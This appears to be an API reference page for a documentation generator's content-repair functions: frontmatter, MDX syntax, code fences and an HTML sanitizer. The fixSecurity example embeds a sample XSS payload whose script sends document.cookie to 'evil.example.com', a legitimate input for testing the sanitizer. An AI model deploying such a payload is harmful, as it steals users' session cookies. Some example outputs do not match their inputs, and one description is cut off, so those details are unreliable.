Fixes
Functions
fixFrontmatter
function fixFrontmatter(content: string, filePath: string): FixResult
Use fixFrontmatter to automatically repair missing or incomplete frontmatter in MDX files before publishing your documentation.
Reach for this when post-processing generated .mdx files — for example, after skrypt generate produces output that may be missing frontmatter blocks or title fields required by your doc platform.
It inspects the file's content for a frontmatter block (---). If none exists, it creates one with a title derived from the file path. If a block exists but lacks a title, it injects one. Files that already have complete frontmatter are returned unchanged.
Parameters
| Name | Type | Required | Description |
|---|---|---|---|
content | string | Yes | The raw MDX file content to inspect and repair. |
filePath | string | Yes | The file's path on disk — used to derive the title value from the filename when one needs to be generated. |
Returns
Returns a FixResult object containing the (possibly modified) file content and a list of fixes that were applied. Check result.fixes to log or audit what changed; write result.content back to disk to persist the repairs.
Heads up
- The title is derived from the filename, not the file's heading content — rename files before calling this if you want a specific title.
- If you're batch-processing a directory, call this per-file after generation rather than on concatenated content; frontmatter must appear at the very start of each file.
Example:
type FixResult = {
content: string;
fixes: string[];
};
function fixFrontmatter(content: string, filePath: string): FixResult {
const fixes: string[] = [];
let result = content;
const fmMatch = result.match(/^---\s*\n([\s\S]*?)\n---/);
const title = filePath
.split("/")
.pop()
?.replace(/\.(mdx|md)$/, "")
.replace(/-/g, " ")
.replace(/\b\w/g, (c) => c.toUpperCase()) ?? "Untitled";
if (!fmMatch) {
result = `---\ntitle: "${title}"\n---\n\n${result}`;
fixes.push("Added missing frontmatter block with title");
} else {
const fmBody = fmMatch[1];
if (!/^title:/m.test(fmBody)) {
result = result.replace(/^---\s*\n/, `---\ntitle: "${title}"\n`);
fixes.push("Added missing title field to existing frontmatter");
}
}
return { content: result, fixes };
}
// Simulate a generated MDX file with no frontmatter
const rawContent = `## Authentication
Use API keys to authenticate requests. Pass your key in the Authorization header.
`;
try {
const filePath = "docs/content/authentication-guide.mdx";
const { content, fixes } = fixFrontmatter(rawContent, filePath);
console.log("Fixes applied:", fixes);
// Fixes applied: [ 'Added missing frontmatter block with title' ]
console.log("Repaired content:\n", content);
// ---
// title: "Authentication Guide"
// ---
//
// ## Authentication
// ...
} catch (err) {
console.error("Failed to fix frontmatter:", err);
}
fixMdxSyntax
function fixMdxSyntax(content: string): FixResult
Use fixMdxSyntax to clean up MDX files that contain Docusaurus-specific syntax before publishing them to a different documentation platform.
When you migrate docs from Docusaurus or process AI-generated MDX, the output often contains @theme imports and empty anchor tags (``) that break MDX renderers like Next.js, Astro, or Contentlayer. Run your MDX content through fixMdxSyntax before writing it to disk.
The function scans the content line by line, skipping code blocks so it doesn't accidentally strip valid code inside fences, then returns both the cleaned content and a log of what was changed.
Parameters
| Name | Type | Required | Description |
|---|---|---|---|
content | string | Yes | Raw MDX file content to sanitize — typically the result of reading a .mdx file or receiving AI-generated documentation output |
Returns
Returns a FixResult object with the cleaned MDX string and a list of human-readable fix descriptions applied. Use result.content as the final string to write to disk, and log result.fixes to audit what changed or surface warnings in your build pipeline.
Heads up
- Content inside fenced code blocks (
```) is intentionally left untouched —@themeimports shown as examples in your docs won't be stripped. - If
result.fixesis empty, the content was already clean and no changes were made — safe to use as a no-op step in any pipeline.
Example:
type FixResult = {
content: string;
fixes: string[];
};
function fixMdxSyntax(content: string): FixResult {
const fixes: string[] = [];
const lines = content.split("\n");
const outputLines: string[] = [];
let inCodeBlock = false;
let strippedImports = 0;
let strippedAnchors = 0;
for (const line of lines) {
if (line.trimStart().startsWith("```")) {
inCodeBlock = !inCodeBlock;
outputLines.push(line);
continue;
}
if (!inCodeBlock) {
if (line.startsWith("import") && line.includes("@theme/")) {
strippedImports++;
continue;
}
if (/^<a\s+id="[^"]*"><\/a>$/.test(line.trim())) {
strippedAnchors++;
continue;
}
}
outputLines.push(line);
}
if (strippedImports > 0)
fixes.push(`Stripped ${strippedImports} Docusaurus @theme import(s)`);
if (strippedAnchors > 0)
fixes.push(`Stripped ${strippedAnchors} empty anchor tag(s)`);
return { content: outputLines.join("\n"), fixes };
}
const rawMdx = `---
title: Authentication
---
import Tabs from '@theme/Tabs';
import TabItem from '@theme/TabItem';
# Authentication
Use your API key to authenticate all requests.
\`\`\`ts
import Tabs from '@theme/Tabs'; // this line should NOT be stripped
\`\`\`
`;
try {
const result = fixMdxSyntax(rawMdx);
console.log("=== Cleaned MDX ===");
console.log(result.content);
console.log("=== Fixes Applied ===");
console.log(result.fixes);
// Expected output:
// Fixes Applied:
// [ 'Stripped 2 Docusaurus @theme import(s)', 'Stripped 1 empty anchor tag(s)' ]
} catch (err) {
console.error("Failed to fix MDX syntax:", err);
}
fixCodeBlocks
function fixCodeBlocks(content: string): FixResult
Use fixCodeBlocks to automatically repair malformed code blocks in Markdown content before publishing or rendering it.
Reach for this when processing AI-generated or user-submitted Markdown that may have bare ``` fences without language specifiers, or code blocks that were opened but never closed — both of which break syntax highlighting and MDX compilation. In skrypt's pipeline, this runs as a post-processing step after AI doc generation to ensure the output is always valid before writing to disk.
The function scans the content line by line, tracking open/close fence state. When it finds a ``` without a language tag, it infers one from surrounding context. If the file ends while still inside a code block, it appends the closing fence automatically.
Parameters
| Name | Type | Required | Description |
|---|---|---|---|
content | string | Yes | The raw Markdown string to repair. Pass the full file contents — the function needs surrounding context to infer languages accurately. |
Returns
Returns a FixResult object containing the repaired Markdown string and a list of human-readable descriptions of every change made. Use result.content as the final output to write to disk, and log result.fixes to surface what was auto-corrected during your build pipeline.
Heads up
- Language inference is heuristic — if a code block's content is ambiguous, the inferred language may not match your intent. Review
result.fixesto spot any unexpected inferences. - This function treats the entire input as a single document. If you're processing multiple files, call it once per file rather than concatenating content.
Example:
type FixResult = {
content: string;
fixes: string[];
};
function fixCodeBlocks(content: string): FixResult {
const fixes: string[] = [];
const lines = content.split("\n");
const outputLines: string[] = [];
let inCodeBlock = false;
const languageHints: Record<string, string> = {
"import ": "typescript",
"const ": "typescript",
"function ": "typescript",
"def ": "python",
"import ": "python",
"SELECT ": "sql",
"<": "html",
"{": "json",
};
function inferLanguage(blockLines: string[]): string {
for (const line of blockLines) {
for (const [hint, lang] of Object.entries(languageHints)) {
if (line.trimStart().startsWith(hint)) return lang;
}
}
return "text";
}
let pendingFenceIndex: number | null = null;
let pendingBlockLines: string[] = [];
for (let i = 0; i < lines.length; i++) {
const line = lines[i];
const fenceMatch = line.match(/^```(\w*)$/);
if (fenceMatch) {
if (!inCodeBlock) {
inCodeBlock = true;
if (fenceMatch[1] === "") {
pendingFenceIndex = outputLines.length;
pendingBlockLines = [];
outputLines.push(line); // placeholder
} else {
pendingFenceIndex = null;
outputLines.push(line);
}
} else {
if (pendingFenceIndex !== null) {
const lang = inferLanguage(pendingBlockLines);
outputLines[pendingFenceIndex] = "```" + lang;
fixes.push(`Inferred language "${lang}" for unlabeled code block at line ${pendingFenceIndex + 1}`);
pendingFenceIndex = null;
pendingBlockLines = [];
}
inCodeBlock = false;
outputLines.push(line);
}
} else {
if (inCodeBlock && pendingFenceIndex !== null) {
pendingBlockLines.push(line);
}
outputLines.push(line);
}
}
if (inCodeBlock) {
outputLines.push("```");
fixes.push("Closed unclosed code block at end of file");
}
return { content: outputLines.join("\n"), fixes };
}
// Simulate AI-generated docs with two problems:
// 1. A code block with no language specifier
// 2. A code block that was never closed
const rawDocs = `
## createUser
Creates a new user in the system.
\`\`\`
const user = await createUser({ email: "ada@example.com", role: "admin" });
console.log(user.id); // usr_01hx9k2m3n4p5q6r7s8t
\`\`\`
## deleteUser
Permanently removes a user by ID.
\`\`\`typescript
await deleteUser("usr_01hx9k2m3n4p5q6r7s8t");
`.trim();
const result = fixCodeBlocks(rawDocs);
console.log("=== Fixes Applied ===");
result.fixes.forEach((fix) => console.log(" •", fix));
console.log("\n=== Repaired Content ===");
console.log(result.content);
// Expected output:
// === Fixes Applied ===
// • Inferred language "typescript" for unlabeled code block at line 4
// • Closed unclosed code block at end of file
//
// === Repaired Content ===
// (full markdown with ```typescript and trailing ``` added)
fixSecurity
function fixSecurity(content: string): FixResult
Use fixSecurity to sanitize MDX/HTML documentation content before writing it to disk, removing common XSS vectors that AI-generated docs might introduce.
When skrypt generates documentation from source code, the AI output can occasionally include unsafe HTML — injected `
type FixResult = {
content: string;
fixes: string[];
};
function fixSecurity(content: string): FixResult {
const fixes: string[] = [];
const lines = content.split("\n");
const outputLines: string[] = [];
let inCodeBlock = false;
for (let line of lines) {
if (line.trimStart().startsWith("```")) {
inCodeBlock = !inCodeBlock;
outputLines.push(line);
continue;
}
if (!inCodeBlock) {
// Strip <script>...</script> tags
if (/<script[\s\S]*?>[\s\S]*?<\/script>/i.test(line)) {
line = line.replace(/<script[\s\S]*?>[\s\S]*?<\/script>/gi, "");
fixes.push("Stripped <script> tag");
}
// Replace javascript: URLs
if (/javascript:/i.test(line)) {
line = line.replace(/javascript:/gi, "#");
fixes.push("Replaced javascript: URL with #");
}
// Strip inline on* event handlers
if (/\bon\w+\s*=/i.test(line)) {
line = line.replace(/\bon\w+\s*=\s*["'][^"']*["']/gi, "");
fixes.push("Stripped inline event handler");
}
// Add sandbox to unsandboxed iframes
if (/<iframe(?![^>]*sandbox)/i.test(line)) {
line = line.replace(/<iframe/gi, '<iframe sandbox="allow-scripts"');
fixes.push("Added sandbox attribute to <iframe>");
}
}
outputLines.push(line);
}
return { content: outputLines.join("\n"), fixes };
}
const rawDocContent = `
# Payment Integration
Click <a href="javascript:void(0)" onclick="stealCookies()">here</a> to authorize.
<script>fetch('https://evil.example.com/?c=' + document.cookie)</script>
Embed the dashboard:
<iframe src="https://dashboard.example.com/embed/acct_1Nk82xLkdIwHu7ix"></iframe>
\`\`\`html
<!-- This script tag in a code block should NOT be stripped -->
<script src="https://js.stripe.com/v3/"></script>
\`\`\`
`;
try {
const result = fixSecurity(rawDocContent);
console.log("=== Sanitized Content ===");
console.log(result.content);
console.log("\n=== Fixes Applied ===");
result.fixes.forEach((fix) => console.log(" -", fix));
// Expected output:
// - Replaced javascript: URL with #
// - Stripped inline event handler
// - Stripped <script> tag
// - Added sandbox attribute to <iframe>
// The <script> inside the ``` code block is preserved unchanged.
} catch (err) {
console.error("Security fix failed:", err);
}